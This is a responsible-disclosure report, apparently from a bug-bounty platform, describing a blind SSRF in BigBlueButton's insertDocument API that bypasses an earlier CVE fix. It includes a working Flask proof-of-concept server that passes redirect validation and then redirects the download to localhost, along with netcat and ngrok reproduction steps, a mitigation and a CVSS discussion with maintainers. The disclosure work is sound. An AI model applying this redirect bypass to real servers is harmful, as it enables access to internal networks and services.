Blind SSRF When Uploading Presentation (mitigation bypass) in bigbluebutton/bigbluebutton
Reported on
Aug 1st 2023
Description
This is actually a bypass of CVE-2023-33176 when i able to perform SSRF to internal network.
Proof of Concept
As we already know, we can upload files via api /bigbluebutton/api/insertDocument
using a remote url.
PresentationUrlDownloadService#savePresentation
is the method to handle this file upload.
public boolean savePresentation(final String meetingId,
final String filename, final String urlString) {
String finalUrl = followRedirect(meetingId, urlString, 0, urlString);
// truncated .....
CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault();
try {
httpclient.start();
File download = new File(filename);
ZeroCopyConsumer<File> consumer = new ZeroCopyConsumer<File>(download) {
@Override
protected File process(
final HttpResponse response,
final File file,
final ContentType contentType) throws Exception {
if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
throw new ClientProtocolException("Upload failed: " + response.getStatusLine());
}
return file;
}
};
Future<File> future = httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null);
File result = future.get();
success = result.exists();
// truncated ...........
From urlString
variable, PresentationUrlDownloadService#followRedirect
make request - iterates through all the redirects and checks if the url is a valid address, if nothing out of the ordinary and the url no longer redirects, it returns the final url as finalUrl
Finally the server will make a get request from finalUrl
with httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null);
_
So i wonder what if i host a rogue http server myself, and when the followRedirect
method requests to my rogue server, it returns a 200 response, so finalUrl
will still be urlString
, nothing abnormal. But as soon as httpclient.execute(HttpAsyncMethods.createGet(finalUrl), consumer, null)
is called to load the file, my rogue server will return a response redirect to a local address, which will be executed hence bypass the limitations implemented in PresentationUrlDownloadService#followRedirect
in the previous patch
Step to reproduce
0.To verify the bug, at the BBB server, we can use netcat to listening on any port, here will be 7878
:
_
1.Create a simple rogue http server in python like this running on port 8443
in our attacking machine:
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
count = 0
@app.route('/a.txt')
def root():
global count
print(count)
if count == 1:
return redirect('http://127.0.0.1:7878', code=301) # 2nd request returns a redirect response (status_code=301)
count += 1 # increase count by 1
return 'hello!' # the first request will return the usual response (status_code=200)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8443)
_
2.If port 8443
is accessible from the internet we can skip this step, otherwise we need to public this port, here I use ngrok:
_
3.Perform file upload from api /bigbluebutton/api/insertDocument
with remote url is the address of the rogue http server above:
_
4.After sending the request, the rogue server receives 2 requests as follows:
4.1.Return status 200 ==>
PresentationUrlDownloadService#followRedirect
4.2.Return status 301 ==> httpclient.execute
(redirect to: http://127.0.0.1:7878
)
_
5.Check netcat at the BBB server, there is a request:
Mitigation recommendations
Disable follow redirect at httpclient.execute
since we no longer have to follow it when using finalUrl
Impact
Server-Side Request Forgery (SSRF) is an attack where a malicious actor can abuse an application's functionality to read or modify internal resources. This is typically accomplished by supplying a URL to the server, which the server will then interact with. In an insertDocument
API request an admin that knows the API Secret Salt is able to supply a URL from which the presentation should be downloaded. This URL was being used without having been successfully validated first.
References
Hi @antobinary, looks like this vulnerability has been patched from this pull request, can you validate this report and mark the status as fixed. And also, can you please assign it a CVE Thank you
Hi @devme4f I confirm I will handle the CVE via GitHub Security advisories -- the process we typically follow at BigBlueButton. The PR you refer to was the result of your report here. We were talking about it internally before confirming it valid and the pull request was made a bit early...
At this point I am looking into possibly modifying the CVSS calculation because it's essentially a spot missed in a fix for a report (https://github.com/bigbluebutton/bigbluebutton/security/advisories/GHSA-3q22-hph2-cff7 ) which was calculated as 4.8/10.
Hi again, apologies for the delay!
About "integrity" (you marked as low) -- is the attacker able to modify any server file with this approach? I believe they can't, so I think "integrity" should be "none".
About "confidentiality" (you marked as high) -- are you aware of the attacker able to obtain any super secret information? My understanding is that the server secret (salt) can be obtained, which gives you access to api calls. You could obtain recordings from the server, you could access live meetings (but you would be listed in the participants list under some name). I am not aware of passwords being accessible or private keys being present. I believe the value here should be "low".
This is what matches my understanding (we agree on most) https://cvss.js.org/#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L
I am using the definitions for each level from https://cvss.js.org/
I appreciate your perspective!
SSRF vulnerability allows sending any request to internal network and exploiting it to scan the port of services running on the system, it is a springboard to attack other systems or bypass the firewall to attack the application, which i have not invested much time to demonstrate, so that's the reason i put CVSS score higher but if you want to set cvss score equal to the previous vulnerability, that's ok
Hey @antobinary, can you close my two reports on this platform, I'm still waiting for the cve to be issued, it's been 3 months
In the Credit section of the advisory I have noted the following: devme4f https://huntr.dev/users/devme4f who contacted us via huntr.dev and responsibly disclosed this vulnerability. Please let me know if you'd like this portion to be modified.
If possible, please credit two of my bugs as "devme4f from VNPT-VCI". Thank you very much <3